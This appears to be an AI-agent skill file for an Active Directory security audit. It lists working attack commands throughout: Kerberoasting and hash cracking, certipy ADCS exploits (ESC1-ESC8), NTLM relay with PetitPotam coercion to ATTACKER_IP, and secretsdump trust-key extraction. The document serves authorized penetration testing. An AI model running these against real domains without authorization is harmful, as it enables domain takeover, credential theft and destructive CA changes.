ad-assessment

name	ad-assessment
description	Active Directory security audit using the MITRE ATT&CK framework. Full domain enumeration, trust mapping, GPO analysis, ACL abuse paths, ADCS attacks (ESC1-ESC8), delegation abuse (constrained/unconstrained/RBCD), fine-grained password policies, LAPS deployment, service account security, and Kerberos configuration. Uses enum4linux-ng, netexec, impacket, ldapsearch, certipy-ad, bloodhound-python, and rpcclient. Produces attack path diagrams, prioritized risk register, and PoCs. Chains into /gh-export for issue filing.
argument-hint	<dc-ip-or-domain> [domain=DOMAIN] [user=USER] [pass=PASS] [depth=quick|standard|thorough]
user-invocable	true

Active Directory Security Audit

You are an expert Active Directory security assessor. Your goal: comprehensively audit the AD environment for misconfigurations, dangerous permissions, certificate service vulnerabilities, delegation abuse, and privilege escalation paths. Produce a prioritized risk register with attack path diagrams.

Request: $ARGUMENTS

---

CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

Trigger	Chain	Mandatory?
After session(action="complete")	/gh-export	OPTIONAL — user request only
Account compromise achieved / shell access	/post-exploit	MANDATORY
Hashes / credentials harvested	/credential-audit	OPTIONAL
Lateral movement opportunities found	/lateral-movement	OPTIONAL
Architecture review needed	/threat-modeling	OPTIONAL

Invoking a chained skill: follow the per-client invocation table in the project's CLAUDE.md / AGENTS.md — do not hard-code client-specific syntax here.

Tools Available

Tool	Use for
session(action="start", options={...})	Define target, scope, depth, and hard limits — always call this first
session(action="complete", options={...})	Mark the scan done and write final notes
kali(command=...)	Kali tools: enum4linux-ng, netexec/nxc, impacket-*, ldapsearch, rpcclient, certipy-ad, bloodhound-python
scan(tool="nmap", ...)	DC service discovery
http(action="request", ...)	Raw HTTP — ADCS web enrollment probing, etc. Set poc=True for confirmed exploits
http(action="save_poc", ...)	Save a confirmed exploit as a raw .http file in pocs/
report(action="finding", data={...})	Log a confirmed vulnerability with evidence to findings.json
report(action="diagram", data={...})	Save a Mermaid diagram (AD topology, attack paths) to findings.json
report(action="dashboard", data={"port": 7777})	Serve dashboard.html at localhost:7777
report(action="note", data={...})	Write a reasoning note or decision to the session log

Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) — this writes the SKILL_CHAIN entry to pentest.log.

---

Depth Presets

Depth	What runs	Default limits
quick	Domain enum + password policy + privileged groups + Kerberoasting + AS-REP	$0.10
standard	Quick + ADCS (ESC1-ESC8) + delegation + GPO + ACL + FGPP + LAPS + service accounts	$0.50
thorough	Standard + BloodHound + forest trust analysis + attack path prioritization	unlimited

---

Workflow

Phase 0 — Scope & Setup

0. Call session(action="start", options={...}) with DC IP, depth, and limits
1. Call report(action="dashboard", data={"port": 7777}) — live findings tracker
2. Call report(action="note", data={...}) — record domain, DC IP, credentials, assessment objectives

---

Phase 1 — Domain Enumeration & Functional Level

kali(command="enum4linux-ng -A DC_IP -u 'USER' -p 'PASSWORD' 2>/dev/null | head -200")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --pass-pol 2>/dev/null")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --users 2>/dev/null | head -50")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)' sAMAccountName 2>/dev/null")

Domain functional level — query msDS-Behavior-Version on the domain object:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' msDS-Behavior-Version 2>/dev/null")

Value	Level	Impact on attacks
3	2008	No Protected Users, no gMSA. RC4 default — Kerberoast hashes crack fast
4	2008 R2	MSA available but no gMSA. Still no Protected Users
5	2012	gMSA + claims available. Still no Protected Users
6	2012 R2	Protected Users group available — AES-only Kerberos, no NTLM, no delegation, no cred caching. Auth Policies/Silos available
7	2016	PAM trust support, key trust for cert-less auth
8-9	2019-2022	No major new AD security features

Key checks: Level < 6 means Protected Users unavailable. Level < 5 means no gMSA (all service accounts have static passwords). Level 3 means RC4 default. If level >= 6, check if Protected Users is actually populated:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Protected Users,CN=Users,DC=domain,DC=com' member 2>/dev/null")

Machine Account Quota (RBCD prerequisite):

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' ms-DS-MachineAccountQuota 2>/dev/null")

Call report(action="diagram", data={...}) with AD topology after this phase.

---

Phase 2 — Kerberos Attacks

Kerberoasting:

kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")

Analyze output: account name, password last set (old = likely weak), admin count, encryption type (RC4/type 23 cracks far faster than AES/type 17-18), delegation flags.

kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")

AS-REP Roasting:

kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/domain-users.txt -format john -outputfile /tmp/asrep.txt -no-pass 2>/dev/null")

---

Phase 3 — Service Account Security (standard+)

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName pwdLastSet adminCount memberOf msDS-AllowedToDelegateTo userAccountControl 2>/dev/null")

Assess each service account: password age (pwdLastSet — > 2 years = high risk), admin membership (adminCount=1 + Kerberoastable = critical), delegation (msDS-AllowedToDelegateTo — chained with cracked password gives impersonation), UAC flags (DONT_EXPIRE_PASSWORD 0x10000 — never rotated).

Detect gMSA accounts:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName msDS-GroupMSAMembership msDS-ManagedPasswordInterval 2>/dev/null")

gMSA passwords auto-rotate (default 30 days), 240+ bytes — uncrackable. The key question: who can read the password? msDS-GroupMSAMembership is a binary security descriptor listing authorized principals. If a compromised account is listed:

kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --gmsa 2>/dev/null")

Report if: service accounts with SPNs use static passwords (not gMSA), have DONT_EXPIRE_PASSWORD, or are in privileged groups.

---

Phase 4 — ADCS Assessment: ESC1-ESC8 (standard+)

kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout 2>/dev/null | head -300")

ESC1 — SAN + Enrollment + Client Auth EKU

Template allows CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, low-priv enrollment, Client Authentication EKU.

kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")

Expected: Got hash for 'administrator@DOMAIN': aad3b435b51404eeaad3b435b51404ee:...

ESC2 — Any Purpose or SubCA EKU

Template has Any Purpose EKU (OID 2.5.29.37.0) or SubCA — can be used for client auth regardless.

kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy auth -pfx user.pfx -dc-ip DC_IP")

ESC3 — Enrollment Agent Abuse

Template 1 has Certificate Request Agent EKU + low-priv enrollment. Template 2 allows enrollment on behalf of others + Client Auth EKU.

kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'AGENT-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'TARGET-TEMPLATE' -on-behalf-of 'DOMAIN\\administrator' -pfx user.pfx -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")

ESC4 — Template ACL Modification + Enrollment

Low-priv user has WriteDACL/WriteOwner/WriteProperty on a template. Modify it to enable ESC1, exploit, then restore.

kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -save-old -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -configuration VULN-TEMPLATE.json -dc-ip DC_IP")

ESC5 — CA Server ACL

Low-priv user has write access to the CA AD object. Can modify CA config to create ESC6/ESC7 conditions.

kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -A 20 'CA Name'")

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

CA flag allows ANY requestor to specify SAN in ANY certificate request, regardless of template settings.

kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -i 'EDITF_ATTRIBUTESUBJECTALTNAME2'")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'User' -upn 'administrator@DOMAIN' -dc-ip DC_IP")

ESC7 — ManageCA + ManageCertificates

User has ManageCA — can add self as officer, enable SubCA template, request cert (denied), approve own request, retrieve.

kali(command="certipy ca -ca 'CA-NAME' -add-officer USER -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -enable-template 'SubCA' -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'SubCA' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -issue-request REQUEST_ID -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -retrieve REQUEST_ID -dc-ip DC_IP")

ESC8 — NTLM Relay to HTTP Enrollment

CA has HTTP enrollment endpoint, accepts NTLM, no EPA enforced. Relay coerced DC auth to get DC certificate.

kali(command="curl -sk https://CA_IP/certsrv/ -o /dev/null -w '%{http_code}' 2>/dev/null")
kali(command="impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' --no-http-server")
kali(command="python3 /opt/PetitPotam/PetitPotam.py ATTACKER_IP DC_IP")

Note: ESC4 and ESC7 are destructive — they modify templates/CA config. Always restore original state after testing.

---

Phase 5 — Delegation Analysis (standard+)

kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName 2>/dev/null")

Type	Risk	Attack
Unconstrained (UAC 0x80000)	Critical	Capture TGTs from connecting users. Combine with PetitPotam to coerce DC auth
Constrained (msDS-AllowedToDelegateTo)	High	S4U2Self + S4U2Proxy impersonation to allowed services
RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)	High	Control a computer account → set RBCD on target → impersonate any user

If ms-DS-MachineAccountQuota > 0 (default 10), any authenticated user can create machine accounts for RBCD.

---

Phase 6 — Fine-Grained Password Policies (standard+)

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Password Settings Container,CN=System,DC=domain,DC=com' '(objectClass=msDS-PasswordSettings)' cn msDS-PasswordSettingsPrecedence msDS-MinimumPasswordLength msDS-PasswordComplexityEnabled msDS-LockoutThreshold msDS-MaximumPasswordAge msDS-PSOAppliesTo 2>/dev/null")

Key attributes: msDS-PasswordSettingsPrecedence (lower = higher priority), msDS-MinimumPasswordLength, msDS-PasswordComplexityEnabled (FALSE = simple passwords), msDS-LockoutThreshold (0 = no lockout = unlimited brute-force), msDS-PSOAppliesTo (DNs of users/groups).

Precedence rules: FGPP on user beats FGPP on group. Among group FGPPs, lowest precedence value wins. No FGPP = Default Domain Policy applies.

Report if: any FGPP is weaker than domain policy, service account groups have relaxed policies, privileged groups have no FGPP, or msDS-LockoutThreshold=0.

---

Phase 7 — LAPS Deployment & Bypass (standard+)

Detect LAPS v1 and v2 schema extensions:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Schema,CN=Configuration,DC=domain,DC=com' '(|(cn=ms-Mcs-AdmPwd)(cn=msLAPS-Password))' cn 2>/dev/null")

Try reading LAPS passwords (tests current user's read rights):

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(ms-Mcs-AdmPwd=*)' sAMAccountName ms-Mcs-AdmPwd 2>/dev/null | head -50")
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --module laps 2>/dev/null")

If passwords are returned, call report(action="finding", data={...}) immediately (critical — current user has LAPS read rights).

Count computers without LAPS (static local admin passwords):

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=computer)(!(ms-Mcs-AdmPwd=*)))' sAMAccountName 2>/dev/null | grep sAMAccountName | wc -l")

Report if: LAPS not deployed, significant computers lack LAPS, current user reads passwords outside scope, or only LAPS v1 (v2 adds encryption at rest + password history).

---

Phase 8 — GPO Security Deep-Dive (standard+)

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=groupPolicyContainer)' displayName gPCFileSysPath 2>/dev/null | head -60")

GPO permission analysis:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Group Policy Creator Owners,CN=Users,DC=domain,DC=com' member 2>/dev/null")

GPO link analysis — gPOptions=1 = Block Inheritance, gPLink suffix ;2 = Enforced:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(gPLink=*)' distinguishedName gPLink gPOptions 2>/dev/null | head -60")

Applied order: Local → Site → Domain → OU (parent first, child last). Enforced GPOs override Block Inheritance.

Security-critical GPO settings: logon scripts (Machine\Scripts\ — run as SYSTEM), restricted groups (add users to local Admins), scheduled tasks (immediate = instant code exec), software installation (deploy MSI domain-wide), GPP passwords (cpassword — trivially decryptable via MS14-025).

Check for GPP passwords:

kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' -M gpp_password 2>/dev/null")

Inspect SYSVOL for security-critical settings:

kali(command="smbclient //DC_IP/SYSVOL -U 'DOMAIN\\USER%PASSWORD' -c 'recurse; prompt; ls' 2>/dev/null | grep -E '(Scripts|ScheduledTasks|Groups|Registry)' | head -30")

Look for: Scripts\scripts.ini (logon/logoff scripts), Preferences\ScheduledTasks\ScheduledTasks.xml (scheduled tasks including immediate tasks), Preferences\Groups\Groups.xml (restricted groups / local admin membership), Preferences\Registry\Registry.xml (registry modifications that may disable security features).

GPO abuse — if you have write access to a GPO linked to targets, you can deploy an immediate scheduled task for code execution as SYSTEM on every machine where the GPO applies. This is one of the most reliable lateral movement techniques in AD.

---

Phase 9 — ACL Parsing & GUID Decoding (standard+)

Practical ACL enumeration:

kali(command="impacket-dacledit DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -target-dn 'DC=domain,DC=com' -action read 2>/dev/null | head -60")
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --dacl 'CN=Domain Admins,CN=Users,DC=domain,DC=com' 2>/dev/null | head -40")

AdminSDHolder ACL (propagates to all protected objects within 60 minutes):

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=AdminSDHolder,CN=System,DC=domain,DC=com' nTSecurityDescriptor -E '!1.2.840.113556.1.4.801=::MAMCAQc=' 2>/dev/null | head -50")

ObjectType GUID reference — ACEs reference rights by GUID:

GUID	Right
00000000-0000-0000-0000-000000000000	All rights (GenericAll)
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2	DS-Replication-Get-Changes (DCSync 1/2)
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2	DS-Replication-Get-Changes-All (DCSync 2/2)
00299570-246d-11d0-a768-00aa006e0529	User-Force-Change-Password
bf9679c0-0de6-11d0-a285-00aa003049e2	Member (group membership write)
f3a64788-5306-11d1-a9c5-0000f80367c1	Self-Membership (add self to group)
0e10c968-78fb-11d2-90d4-00c04f79dc55	Certificate-Enrollment
a05b8cc2-17bc-4802-a710-e7c15ab866a2	Certificate-AutoEnrollment
ab721a53-1e2f-11d0-9819-00aa0040529b	User-Change-Password
5b47d60f-6090-40b2-9f37-2a4de88f3063	msDS-KeyCredentialLink (Shadow Credentials)

Dangerous ACL combinations:

Permission	On Object	Risk
GenericAll / WriteDACL	Domain object	Critical — DCSync, domain takeover
WriteOwner	Domain Admins group	Critical — take ownership, modify membership
DS-Replication-Get-Changes + All	Domain object (non-admin)	Critical — DCSync
WriteDACL	AdminSDHolder	Critical — propagates to all protected objects
GenericWrite	User object	High — set SPN (targeted Kerberoasting), modify logon script
ForceChangePassword	Admin user	High — reset password without knowing current
AddMember	Privileged group	High — add self to Domain Admins
GenericAll	GPO object	High — deploy malicious scripts

LAPS read rights and gMSA password read rights — check if unexpected principals can read these:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=msDS-GroupManagedServiceAccount)' msDS-GroupMSAMembership 2>/dev/null")

---

Phase 10 — BloodHound Collection & Analysis (thorough)

kali(command="bloodhound-python -u USER -p 'PASSWORD' -d DOMAIN -dc DC_IP -c All --zip -o /tmp/bloodhound 2>/dev/null")

Key queries after collection:

Query	Finds	Priority
Shortest Path to DA	Most direct privilege escalation from any owned user	Critical
Owned Principals to DA	Attack paths from already-compromised accounts	Critical
Kerberoastable Users with Path to DA	Service accounts whose cracked passwords lead to DA	High
Users with DCSync Rights	Non-default principals with replication permissions	Critical
Unconstrained Delegation Computers	Hosts caching TGTs from all authenticating users	High
GPO Creators/Editors	Users who can create or modify Group Policy	Medium

Interpreting common BloodHound edges:

Edge	Meaning	Exploitation
GenericAll on user	Full control over the user object	Reset password, set SPN for Kerberoasting, modify attributes
GenericWrite on user	Write any non-protected attribute	Set SPN (targeted Kerberoast), modify logon script, set msDS-KeyCredentialLink (Shadow Credentials)
ForceChangePassword	Reset password without knowing current	Immediate account takeover — no audit trail of old password
AddMember on group	Add any principal to the group	Direct privilege escalation if targeting privileged group
WriteDACL	Modify the object's DACL	Grant self GenericAll, then full control — two-step takeover
Owns	Object owner	Equivalent to WriteDACL — owner can always modify permissions
AllowedToDelegate	Constrained delegation configured	S4U2Proxy impersonation to the allowed SPN
AllowedToAct	RBCD configured on target	Impersonate any user to this computer if you control the allowed principal
HasSession	User has active logon session	Credential theft via memory dump (Mimikatz, lsassy)
CanRDP / CanPSRemote	Remote access permitted	Lateral movement — RDP or WinRM/PSRemote
SQLAdmin	SA access to SQL Server	OS command execution via xp_cmdshell
ReadLAPSPassword	Can read LAPS attribute	Retrieve local admin password for the computer
ReadGMSAPassword	Can read gMSA password	Retrieve managed service account credential

Attack path chaining example: Owned user → GenericWrite on svc_sql → Set SPN → Kerberoast → Crack → svc_sql HasSession on SQLSRV01 → Credential dump → Server Admin → AllowedToDelegate to DC CIFS → S4U2Proxy → DCSync → DA.

Call report(action="diagram", data={...}) with every discovered attack chain. Multi-hop paths are more valuable than individual findings.

---

Phase 11 — Forest Trust Deep Analysis (thorough)

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=System,DC=domain,DC=com' '(objectClass=trustedDomain)' trustPartner trustDirection trustType trustAttributes flatName securityIdentifier 2>/dev/null")

trustDirection: 1=Inbound (they trust us), 2=Outbound (we trust them), 3=Bidirectional. trustType: 1=Downlevel (NT), 2=Uplevel (AD), 3=MIT Kerberos, 4=DCE.

trustAttributes — critical security flags:

Bit	Meaning	Implication
0x04	SID filtering enabled	Good — prevents SID history injection
0x08	Forest trust	Trust between forest roots
0x20	Intra-forest (parent-child)	SID filtering OFF by default — SID history attacks work
0x40	Selective authentication	Good — only explicitly permitted users can authenticate

Key checks: Intra-forest trusts have no SID filtering — child domain compromise = forest compromise via SID history injection. External trusts should have SID filtering ON (0x04). Selective auth should be enabled on external/forest trusts (without it, any trusted user authenticates to any resource).

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=System,DC=domain,DC=com' '(&(objectClass=trustedDomain)(trustAttributes:1.2.840.113556.1.4.803:=64))' trustPartner 2>/dev/null")

Enumerate trust accounts:

kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(userAccountControl:1.2.840.113556.1.4.803:=2048)' sAMAccountName 2>/dev/null")

Trust key extraction (for inter-realm TGT forging — requires DA or DCSync):

kali(command="impacket-secretsdump DOMAIN/USER:'PASSWORD'@DC_IP -just-dc-user 'TRUSTED_DOMAIN$' 2>/dev/null")

The trust key (RC4/AES) enables forging inter-realm TGTs with impacket-ticketer. Combined with SID history injection on intra-forest trusts, this allows escalation from child domain DA to forest root DA.

---

Phase 12 — Attack Path Prioritization

P0 — Immediate domain compromise:

Condition	Attack
ADCS ESC1/ESC6/ESC8 vulnerable	Certificate abuse for instant DA
Non-admin has DCSync rights	Dump all domain hashes
Unconstrained delegation on non-DC	Coerce DC auth + capture TGT
GPP passwords in SYSVOL	Decrypt cpassword for instant creds

P1 — High-probability escalation:

Condition	Attack
Kerberoastable accounts with DA path	Crack hash → escalate
MachineAccountQuota > 0 + WriteDACL on computer	RBCD attack
GenericAll/WriteDACL on privileged group	Modify membership or grant DCSync
Constrained delegation to DC services	S4U2Proxy impersonation
ADCS ESC4 (template ACL)	Modify template → ESC1

P2 — Additional steps required:

Condition	Attack
AS-REP Roastable accounts	Crack offline (may not have admin path)
LAPS not deployed	Static local admin → lateral movement
Weak FGPP on service accounts	Password spray
SID filtering disabled on external trust	SID history injection (requires partner compromise)

P3 — Defense-in-depth gaps: Protected Users empty, functional level < 2012 R2, no FGPP for admins, LAPS v1 only.

report(action="note", data={"message": "Attack Path Priority Assessment:
  P0 (immediate DA):     [list or 'none']
  P1 (high-probability): [list or 'none']
  P2 (additional steps): [list or 'none']
  P3 (defense gaps):     [list or 'none']
  Recommended chain: [most likely path from current access to DA]")

---

Phase 13 — Report & Wrap-Up

1. Call report(action="diagram", data={...}) with attack path map showing how findings chain to DA
2. Call report(action="note", data={...}) with full assessment summary (domain, functional level, DCs, users, admins, Protected Users, service accounts, password policy, FGPP, LAPS, Kerberoasting, AS-REP, ADCS ESCs, delegation, ACLs, GPOs, trusts, shortest path to DA, priority assessment)
3. Call session(action="complete", options={...}) with summary

---

Chaining Other Skills

Skill	When to invoke
/pentester	DC or member server has web services
/analyze-cve	CVE-affected component (Exchange, ADFS, print spooler)
/threat-modeling	After assessment — STRIDE analysis of the AD architecture
/gh-export	When user asks to file GitHub issues

---

Finding Severity Guide

Severity	Criteria	Examples
Critical	Direct path to DA, full domain compromise	ESC1/ESC6/ESC8, DCSync rights on non-admin, unconstrained delegation, GPP passwords
High	Privilege escalation requiring one step	Kerberoastable admin, RBCD prerequisites, constrained delegation to DC, writable GPO on DCs
Medium	Exploitable with specific conditions	AS-REP Roastable, GenericWrite on users, weak FGPP, partial LAPS gaps
Low	Defense-in-depth gap	Protected Users empty, outdated functional level, LAPS v1 only, no admin FGPP

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Rules

• session(action="start", options={...}) is mandatory — never run any other tool before it
• Batch independent tools in the same response — they execute in parallel
• When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
• Enumerate first, attack second — understand AD structure before exploiting
• Always check ADCS — certificate services are the most common enterprise attack vector
• Follow the priority decision tree — ADCS present? ESC checks first. SPNs? Kerberoast. MAQ > 0? RBCD
• Call report(action="finding", data={...}) for every confirmed weakness — include raw tool output as evidence
• Call report(action="diagram", data={...}) twice: after Phase 1 (topology) and at the end (attack paths)
• ADCS exploitation is destructive — ESC4 modifies templates, ESC7 modifies CA config. Always restore
• Use report(action="note", data={...}) liberally — document structure, trust analysis, ACL reasoning, attack path logic
• Never fabricate findings — only report what tool output confirms
• Mermaid syntax rules: use flowchart TD, quote labels, no em-dashes, short alphanumeric node IDs
• Call session(action="stop_kali") at the end if kali(command=...) was used